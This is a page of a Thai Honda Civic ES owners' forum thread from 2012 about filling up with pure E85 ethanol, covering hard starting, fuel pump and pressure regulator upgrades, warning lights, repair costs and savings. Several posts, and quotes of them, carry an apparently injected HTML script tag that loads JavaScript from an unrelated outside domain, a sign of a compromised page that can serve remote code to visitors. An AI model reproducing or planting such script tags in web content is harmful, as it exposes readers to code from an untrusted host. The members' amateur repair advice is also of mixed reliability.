ผมเติม E85 เพียวๆเลยครับ (หน้า 34)

หน้าหลัก เข้าสู่ระบบ สมัครสมาชิก รายชื่อสมาชิก

General Talk

ผมเติม E85 เพียวๆเลยครับ

ผมเติม E85 เพียวๆเลยครับ

MK Flying

ชื่อเล่น: ยุทธ

เข้าร่วม: 04 กุมภา 2010
ตอบ: 379

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 686
ให้คำขอบคุณ: 135

ที่อยู่: แม่กลอง-ชุมพร
ปี: 2004
สี: เทา ซิลเวอร์สโตน (NH-630M)

พฤหัส, 18 ตุลา 2012 18:19 - ผมเติม E85 เพียวๆเลยครับ

ก็เห็นเขาเติมกันนะ กะทู้ข้างล่างอะครับ แต่ผมยังไม่กล้าเติม ใช้ e10 ต่อไปแล้วกัน

nongnb

ชื่อเล่น: น้อง

เข้าร่วม: 04 ตุลา 2012
ตอบ: 356

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 347
ให้คำขอบคุณ: 75

ที่อยู่: เชียงราย
ปี: 2005
สี: เทา ซิลเวอร์สโตน (NH-630M)

พฤหัส, 18 ตุลา 2012 18:25 - ไปเจอ ES เติม E85 มา

ไปเจอ ES เติม E85 มา แถวหนองแค สระบุรี

ES เติม E85

ได้รับคำขอบคุณจาก: basic00 honeybeex7

nongnb

ชื่อเล่น: น้อง

เข้าร่วม: 04 ตุลา 2012
ตอบ: 356

มีใบอนุญาตขับขี่

พฤหัส, 18 ตุลา 2012 18:33 - ผมเติม E85 เพียวๆเลยครับ

ว่าไปถามเขา เติมแล้วเป็นไงบ้าง

Arthur4344

ชื่อเล่น: อีอด อ๊อด

เข้าร่วม: 30 เมษา 2012
ตอบ: 1667

ครอบครัว ES

ได้รับคำขอบคุณ: 3337
ให้คำขอบคุณ: 1040

ที่อยู่: มหาชัย
ปี: 2004
สี: ทอง เดเสิร์ท มิสท์ (เมทัลลิก) (YP-538M)

พฤหัส, 18 ตุลา 2012 18:36 - ผมเติม E85 เพียวๆเลยครับ

น่าจะเข้าไปทักทาย ถามไถ่เลย

nongnb

ชื่อเล่น: น้อง

เข้าร่วม: 04 ตุลา 2012
ตอบ: 356

มีใบอนุญาตขับขี่

พฤหัส, 18 ตุลา 2012 18:58 - ผมเติม E85 เพียวๆเลยครับ

...

Jackzacivic

เข้าร่วม: 29 เมษา 2012
ตอบ: 111

มือใหม่หัดขับ

ได้รับคำขอบคุณ: 45
ให้คำขอบคุณ: 0

ที่อยู่: พระประแดง

พฤหัส, 18 ตุลา 2012 19:11 - ผมเติม E85 เพียวๆเลยครับ

รอเก็บข้อมูลครับ "<script src="https://sport32news.com/civicesgroup.js">

basic00

ชื่อเล่น: บอย

เข้าร่วม: 11 กันยา 2012
ตอบ: 345

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 380
ให้คำขอบคุณ: 130

ที่อยู่: ปทุมธานี
ปี: 2004
สี: เทา ซิลเวอร์สโตน (NH-630M)

พฤหัส, 18 ตุลา 2012 21:21 - ผมเติม E85 เพียวๆเลยครับ

จากการที่เติม E85 มา 2 เดือน ผมคิดว่าที่ ติดยาก ของรถผมเองเกิดจากอากาศเย็นๆมากกว่าครับ

วันไหนฝนตกสตาร์ท 2 ครั้งแน่นอน

บางวันผมเอามอไซค์ไปทำงาน กลับมาเอารถตอนบ่ายสตาร์ท 1 ครั้ง

จากการใช้งานทุกวันหมดไป 3ถัง

ตอนนี้ขอไปเล่นกับ E20 แทนก่อนครับ E85 ปั๊มอยู่ไกล

pop2pop

เข้าร่วม: 09 มกรา 2011
ตอบ: 334

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 265
ให้คำขอบคุณ: 169

ที่อยู่: สุขุมวิท 101/1
ปี: 2004
สี: เทา ซิลเวอร์สโตน (NH-630M)

พฤหัส, 18 ตุลา 2012 21:54 - ผมเติม E85 เพียวๆเลยครับ

สตาร์ทยาก..ยังไม่หาย...อื่นๆยังเหมือนเดิม..

แต่อาการสอึก..หายไปเรียบร้อย...หลังจากรีเซ็ต ECU มาล่าสุดเมื่อหลายสัปดาห์ก่อน คงจะเริ่มชินกับน้ำมัน E85 แล้ว

แก้ไขล่าสุดโดย เมื่อ พฤหัส, 18 ตุลา 2012 23:33, ทั้งหมด 1 ครั้ง (ดูทั้งหมด)

domziia

ชื่อเล่น: เจต

เข้าร่วม: 24 กุมภา 2012
ตอบ: 1246

ครอบครัว ES

ได้รับคำขอบคุณ: 1167
ให้คำขอบคุณ: 3865

ปี: 2005
สี: ดำ ไนท์ฮอว์ก (B-92P)

พฤหัส, 18 ตุลา 2012 23:19 - ผมเติม E85 เพียวๆเลยครับ

21.78 เองครับ เติมมาก็หลายถังแล้วอาการก็มีบ้างแต่ไม่เคยมีหนักๆเลยครับ สตารท ไม่เคย 2 ครั้ง ดับมีบ้าง อืดบ้าง แต่ประหยัดชัวร์

yo555

ชื่อเล่น: โย

เข้าร่วม: 13 กรกฎา 2012
ตอบ: 765

Guru ES
Guru ES

ได้รับคำขอบคุณ: 249
ให้คำขอบคุณ: 522

ที่อยู่: เกิด แปดริ้ว..แต่มากริ๊วๆ..อยู่ ชลบุรี
ปี: 2003
สี: ดำ ไนท์ฮอว์ก (B-92P)

ศุกร์, 19 ตุลา 2012 00:38 - ผมเติม E85 เพียวๆเลยครับ

lkki5 พิมพ์ว่า:

es มี regulator ครับของเดิมปรับไม่ได้มันอยู่แถว fuel pump ในถังน้ำมัน
ผมศึกษาจากอันนี้ผิดถูกประการใดขออภัยด้วย

http://justmycar.moxiereporting.com/HondaESMCivic2004.AcuraEL01-04/i45Dcontents.htm

ผมดูตามลิงแล้งงงคับ555งงกับภาษาอิงลิช....ในถังน้ำมันตอนรื้อใส่ปั๊มติ้กก้อไม่ได้สังเกตอย่างอื่นเลยคับเห็นแต่ปั๊ม...แต่เท่าที่พี่เค้าบอกและเคยหาข้อมุล..ไอ้เจ้าregulator..มันเป็นตัวปรับแรงดันน้ำมันจากปั๊มที่ส่งมา...จะทำหน้าที่รักษาแรงดันน้ำมันก่อนเข้าสู่ตัวเครื่อง...และจะมีท่อส่งน้ำมันที่เหลือวนกลับเข้าสู่ถัลน้ำมันอีกที่...แต่มันไมีมีงะ..มันจึงเป็นสาเหตุที่เราต้องเปลี่ยนเป็นปัมJ Bo แทนคับ
ยังไงก้อขอบคุรขอมูลดีนะคับ

....เดี๋ยวรื้ออีกคันตอนใส่ปั๊มจะลองดูแล้วมีข้อมูลด๊มาแชร์กันคับ...ท่านใดมีข้อดีๆ
มูลรบกวนช่วยกัยแชร์คับ
เรียนรู้จากคนที่เคยเจ็บดีกว่าไปลองเจ็บเองคับ55555

lkki5

เข้าร่วม: 26 ตุลา 2008
ตอบ: 2973

ครอบครัว ES

ได้รับคำขอบคุณ: 3115
ให้คำขอบคุณ: 1255

ที่อยู่: สัตหีบ ชลบุรี หรือ พิจิตร นครสวรรค์
ปี: 2001
สี: น้ำเงิน อิเทอนอล (B-96P)

ศุกร์, 19 ตุลา 2012 13:43 - ผมเติม E85 เพียวๆเลยครับ

เคยวัดแรงดันระบบเชื้อเพลิงรวมจนถึงรางหัวฉีดแล้วหรือยัง
ปล.อยากรู้มานานแล้วว่าแรงดันในรางหัวฉีดจะเพิ่มขึ้นหรือปล่าวเมื่อใส่ปั้มติ้กเจ แต่ผมว่าของเดิมมันก็น่าจะสร้างแรงดันได้สูงกว่านี้นะ
ผิดถูกประการใดต้องขออภัยด้วย
http://justmycar.moxiereporting.com/HondaESMCivic2004.AcuraEL01-04/CivHtml/11-138.htm

yo555

ชื่อเล่น: โย

เข้าร่วม: 13 กรกฎา 2012
ตอบ: 765

Guru ES
Guru ES

ศุกร์, 19 ตุลา 2012 22:11 - ผมเติม E85 เพียวๆเลยครับ

lkki5 พิมพ์ว่า:

คือก่อนกะหลังเปลี่บนเห็นความแตกต่างชัดมากคับ....ก่อนเปลี่ยนปั๊มตอนเติมE85แล้ว..ลากรอบเกียร์สุดท้ายรอบตกที่140-150..มันจะอืดๆเหมือนน้ำมันลงไม่ทันเลยคับเร่งเต็มที่ปล่อยไหลก้อยังไม่ถึง170...แต่หลังเปลี่ยนนี่..เลาลากรอบ...มันพุงปรี๊ดเลยตัดที่170คับและค่อยทำรอบขึ้นมาเรื่อยๆคับ......สวนหัวฉีดตอนนี้ที่ชลมีพี่เปลี่ยนกันหลายคันอยู่..เปลี่ยนกล่องด้วยก้อมี.....เดี๋ยวจะสอบสวนรายละเอีบดข้อมูลดีๆมาแบ่งปันกันคับ....

aon3160

ชื่อเล่น: อ้น

เข้าร่วม: 28 มีนา 2012
ตอบ: 222

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 236
ให้คำขอบคุณ: 97

ปี: 2002
สี: เทา ซิลเวอร์สโตน (NH-630M)

เสาร์, 20 ตุลา 2012 09:00 - ผมเติม E85 เพียวๆเลยครับ

เห็นเพื่อน ๆ พี่ น้อง เริ่มใช้กันเยอะขึ้น ยินดีและดีใจด้วยครับ กับพลังงานทางเลือก วันนี้มี Tips สำหรับ ไฟเอ็นจิ้นโชว์ มาจากคู่มือรถแหละครับ เอามาปรับใช้กรณีเติม E85 แล้วไฟโชว์ ให้ปฏิบัติดังนี้

1. เมื่อขับ ๆ ไป แล้วไฟโชว์ ถ้ารถวิ่งอยู่ให้ชะลอ แล้วจอดดับเครื่องยนต์ แล้วสตาร์ทใหม่ ไฟเอ็นจิ้น ก็จะหายไป (ถ้าไม่หายลองดับ แล้วสตาร์ทใหม่ หากทำอยู่หลายครั้งก็ยังไม่หายต้องเข้าศูนย์เช็คความผิดปกติของเครื่องยนต์ แต่โดยปกติถ้าใช้ E85 ดับเครื่องยนต์แล้วสตาร์ทใหม่ ก็หายทุกครั้งครับ)
2. ถ้าเราขับอยู่แล้วติดไฟแดง แล้วไฟโชว์ แต่ไม่ดับ หรือดับ ก็แล้วแต่ ก็ใช้วิธีเหมือนข้อ 1. ได้เลย ดับเครื่อง แล้วสตาร์ทใหม่ ไฟเอ็นจิ้น ก็จะหายไปครับ

กล่าวคือ เมื่อไฟเอ็นจิ้นโชว์ เราอย่าวิ่งไปเรื่อย ๆ ควรหาที่จอดที่ปลอดภัยแล้วดับเครื่องยนต์ ลองสตาร์ทใหม่ เพราะถ้าฝืนวิ่งไป อาจทำให้เครื่องยนต์ เสียหายได้ครับ

ได้รับคำขอบคุณจาก: civicnoom yo555

artoasis

ชื่อเล่น: อาร์ท

เข้าร่วม: 03 ตุลา 2008
ตอบ: 295

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 612
ให้คำขอบคุณ: 108

ที่อยู่: BKK
ปี: 2001

เสาร์, 20 ตุลา 2012 19:12 - ผมเติม E85 เพียวๆเลยครับ

yo555 พิมพ์ว่า:

lkki5 พิมพ์ว่า:

อันนี้คือคำตอบที่ผมตอบใน EG3D Club ครับ ขออนุญาติยกมาตอบล่ะกันครับ ขี้เกียจพิมพ์ซ้ำ

- ตัวควบคุมแรงดัน (กักน้ำมันในระบบ) คือ เรกูเลเตอร์ ครับ ถ้าปั๊มติ๊กยังไม่เสีย ก็หาซื้อเรกูเลเตอร์แบบปรับแรงดันได้มาใส่ ก็เห็นผลครับ

- เปลี่ยนปั๊มติ๊ก คือการเพิ่มอัตราการไหลครับ (Flow rate Lite/Min) ทำให้น้ำมันไม่ขาดช่วง มาเร็ว มาเต็ม เสถียร แรงดันในระบบเชื้อเพลิงจะเพิ่มขึ้นนิดหน่อยโดยอัตโนมัติ
ถ้าคิดว่าของเดิมใกล้จะลาโลก ก็หาซื้อมาใส่ซะ

**ลองนึกถึงระบบน้ำประปา ที่มีปั๊มน้ำ กับไม่มีปั๊มน้ำ อ่ะครับ**

ตอนแรกผมก็ J โบ ครับ ตอนนี้ Wabro แล้วครับ

-----------------------------------------------

แรงดันปกติของเครื่อง D17 อยู่ที่ 3 bar ครับ

ถ้าอยากปรับแรงดันน้ำมันเชื้อเพลิงในระบบ ต้องใส่แบบในภาพนี้ครับ คุมแรงดันก่อนเข้าราง ไม่มีไหลกลับ

ปล.ไม่ต้องไปดูเครื่องนะครับ ให้ดูที่เรกูเลเตอร์น้ำมันก่อนเข้ารางหัวฉีด

ผมเติม E85 เพียวๆเลยครับ

ได้รับคำขอบคุณจาก: pannatad yo555 xenshiro

yo555

ชื่อเล่น: โย

เข้าร่วม: 13 กรกฎา 2012
ตอบ: 765

Guru ES
Guru ES

อาทิตย์, 21 ตุลา 2012 00:47 - ผมเติม E85 เพียวๆเลยครับ

เห็นรถแรงที่อู่ทำเหมือนกันแต่ESเครื่องD17.เดิมๆ.ถ้าทำจะทำยากมั๊ยคับ....
หรือว่าถ้าเปลี่ยนปั๊มแล้ววิ่งดีก้อไม่จำเป็น...หรือทำแล้วดีกว่าเปลี่ยนปั๊มคับ..หรือทั้งสองอย่างดีคับ

ขอบคุณครับสำหรับข้อมูลดีๆ...ขอบคุณครับ คูณอาร์ท

ได้รับคำขอบคุณจาก: xenshiro

yo555

ชื่อเล่น: โย

เข้าร่วม: 13 กรกฎา 2012
ตอบ: 765

Guru ES
Guru ES

จันทร์, 22 ตุลา 2012 00:42 - ผมเติม E85 เพียวๆเลยครับ

21.80/ลิตร...ถึงปั๊มประกาศดังๆ..น้องเต็มถังตลอดดด <script src="https://sport32news.com/civicesgroup.js"></

...ตอนเติม95..สะกดคำว่าเต็มถังไม่เป็นเลย55

pop2pop

เข้าร่วม: 09 มกรา 2011
ตอบ: 334

มีใบอนุญาตขับขี่

จันทร์, 22 ตุลา 2012 20:49 - ผมเติม E85 เพียวๆเลยครับ

yo555 พิมพ์ว่า:

21.80/ลิตร...ถึงปั๊มประกาศดังๆ..น้องเต็มถังตลอดดด <script src="https://sport32news.com/civicesgroup.js"></

...ตอนเติม95..สะกดคำว่าเต็มถังไม่เป็นเลย55

นั่นซิเนอะ....เต็มตลอดเลยพักนี้...

พักก่อนตอนเติม 91 อย่างมากก็ "น้องๆ 91 พันนึง" แค่นี้ก็หรูแล้ว...นานๆ...นนน..ที อีกต่างหาก

zerrboy

เข้าร่วม: 03 ตุลา 2012
ตอบ: 8

น้องใหม่

ได้รับคำขอบคุณ: 1
ให้คำขอบคุณ: 13

ปี: 2003
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)

อังคาร, 23 ตุลา 2012 18:27 - ผมเติม E85 เพียวๆเลยครับ

ผมพึ่งลองเติมเต็มถังไปเมื่อวานจากไฟน้ำมันเตือน 800 เต็มถัง

ขับไปได้ปกติ 1 วัน พอ เช้าวันต่อมามีอาการสตราทติดยาก เครื่องสั่น เบาดับ

สตาทติดแล้วรอบก็ตกแล้วก็ดับเป็นอย่างนี้ตลอด เลยลากเข้าอู่แถวมหาชัย เล่าอาการให้เขาฟังแล้วบอกว่าพึ่งเติมE85 ไป

ช่างลองไล่เชคดู ปรากฎว่าปั้มติ๊กเสีย เลยให้ล้างปีกผีเสื้อ ตั้งวาล์วใหม่ เปลี่ยนหัวเทียน ไปเจออาการพัดลมหม้อน้ำไม่หมุนอีก1ตัว

เปลี่ยนมอเตอร์พัดลมหม้อน้ำ+เซ็นเซอร์พัดลมอีก รวมค่าเสียหายทั้งหมด 5500 บาท พี่ๆว่าแพงไหมคับ

แต่หลังจากทำเส็รจแล้ววิ่งดีกว่าเดิมมาก ช่างที่ทำก็บอกว่าพึ่งรู้ว่าซีวิคไดเมนชั่นเติม E85ได้

แต่ผมก็จะเติม E85 ต่อไป

ผมเติม E85 เพียวๆเลยครับ

ได้รับคำขอบคุณจาก: honeybeex7

domziia

ชื่อเล่น: เจต

เข้าร่วม: 24 กุมภา 2012
ตอบ: 1246

ครอบครัว ES

ได้รับคำขอบคุณ: 1167
ให้คำขอบคุณ: 3865

ปี: 2005
สี: ดำ ไนท์ฮอว์ก (B-92P)

อังคาร, 23 ตุลา 2012 19:36 - ผมเติม E85 เพียวๆเลยครับ

zerrboy พิมพ์ว่า:

จะเกี่ยวที่เติมไปหรือป่าวครับ หรือผมว่าหมดอายุอุปกรณ์พอดีครับ

zerrboy

เข้าร่วม: 03 ตุลา 2012
ตอบ: 8

น้องใหม่

ได้รับคำขอบคุณ: 1
ให้คำขอบคุณ: 13

ปี: 2003
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)

อังคาร, 23 ตุลา 2012 21:52 - ผมเติม E85 เพียวๆเลยครับ

ผมก็ว่าปั้มติ๊กมันจะพังพอดีแหละคับ

pop2pop

เข้าร่วม: 09 มกรา 2011
ตอบ: 334

มีใบอนุญาตขับขี่

อังคาร, 23 ตุลา 2012 21:55 - ผมเติม E85 เพียวๆเลยครับ

วันนี้ก็ไปเติมเต็มถังอีกแล้ว แต่ไม่ได้รอจนไฟเตือนขึ้น หมดไป 760 บาท

สุดท้ายก็อดได้อีกเช่นเคย....น้ำเปล่าขวดลิตร....

มองเด็กปั้มตาปิ๊ปๆ...ก็ยังไม่ใจอ่อนเหมือนเดิม

kavinthorn

ชื่อเล่น: ต่อ

เข้าร่วม: 26 กันยา 2012
ตอบ: 1539

ครอบครัว ES

ได้รับคำขอบคุณ: 1314
ให้คำขอบคุณ: 701

ที่อยู่: BKK Latkrabang

อังคาร, 23 ตุลา 2012 21:59 - ผมเติม E85 เพียวๆเลยครับ

ขอรอฟังผลด้วยครับ (นอกจาก 91 เคยเติมแต่ 95) "<script src="https://sport32news.com/civicesgroup.js">

pop2pop

เข้าร่วม: 09 มกรา 2011
ตอบ: 334

มีใบอนุญาตขับขี่

อังคาร, 23 ตุลา 2012 22:04 - ผมเติม E85 เพียวๆเลยครับ

kavinthorn พิมพ์ว่า:

ขอรอฟังผลด้วยครับ (นอกจาก 91 เคยเติมแต่ 95) "<script src="https://sport32news.com/civicesgroup.js">

กระทู้ โพสต์ที่ 1,000 พอดีเลยนะเนี๊ยะ....

xenshiro

ชื่อเล่น: เซน

เข้าร่วม: 02 ตุลา 2008
ตอบ: 831

Guru ES
Guru ES

ได้รับคำขอบคุณ: 1265
ให้คำขอบคุณ: 1864

ที่อยู่: อ่อนนุช - ลาดพร้าว
ปี: 2003
สี: ขาว ทาฟเฟต้า (NH-578)

พุธ, 24 ตุลา 2012 18:52 - ผมเติม E85 เพียวๆเลยครับ

artoasis พิมพ์ว่า:

yo555 พิมพ์ว่า:

lkki5 พิมพ์ว่า:

คำถามผมยังเหมือนเดิม คือว่า เปลี่ยนกล่องด้วยใช่มั้ยครับ
แล้วถ้าหากจะเปลี่ยนปั๊มติ๊ก ต้องดูที่อะไร ว่าใช้กับเราได้ครับ อยากแรกเลยก็ต้องดูว่ารับ E85 ได้หรือเปล่า ส่วนอย่างอื่นต้องดูไรอีกมั้ยครับ

yo555 พิมพ์ว่า:

ขอบคุณครับสำหรับข้อมูลดีๆ...ขอบคุณครับ คูณอาร์ท

อยากรู้ด้วยคนครับ

lkki5

เข้าร่วม: 26 ตุลา 2008
ตอบ: 2973

ครอบครัว ES

พุธ, 24 ตุลา 2012 19:14 - ผมเติม E85 เพียวๆเลยครับ

อยากได้ f20c ขับหน้ามั่งจัง

yo555

ชื่อเล่น: โย

เข้าร่วม: 13 กรกฎา 2012
ตอบ: 765

Guru ES
Guru ES

พุธ, 24 ตุลา 2012 22:36 - ผมเติม E85 เพียวๆเลยครับ

domziia พิมพ์ว่า:

zerrboy พิมพ์ว่า:

จะเกี่ยวที่เติมไปหรือป่าวครับ หรือผมว่าหมดอายุอุปกรณ์พอดีครับ

ปั๊ม1500...เปลี่ยนปั๊มJ BO..มีเงินเหลือ..สู้ๆคับ...พรุ่งนี้ผมจะไปเติมถังที่15...ครบ1เดือนพอดีที่หันมาซดE85......ถ้ารู้ว่าซดแล้วเหลือเงิน่ยอะงี้ซดตั้งนาน..........

kantaphat

ชื่อเล่น: ก๊อต

เข้าร่วม: 08 เมษา 2010
ตอบ: 1411

ครอบครัว ES

ได้รับคำขอบคุณ: 822
ให้คำขอบคุณ: 2374

ที่อยู่: เมือง โคราช
ปี: 2001
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)

พฤหัส, 25 ตุลา 2012 01:08 - ผมเติม E85 เพียวๆเลยครับ

ผมใช้ E85 มาเดือนที่ 9 แล้ว (จำไม่ได้แล้วว่ากี่ถัง) ยังปกติอยู่เลย (แล้วท่านจะมัวรออะไรอยู่ล่ะครับ อย่าได้แค่คิดว่ามันไม่ดี ที่่ว่ามันไม่ดีตัวคุณเองได้ลองได้ทำมันหรือยัง)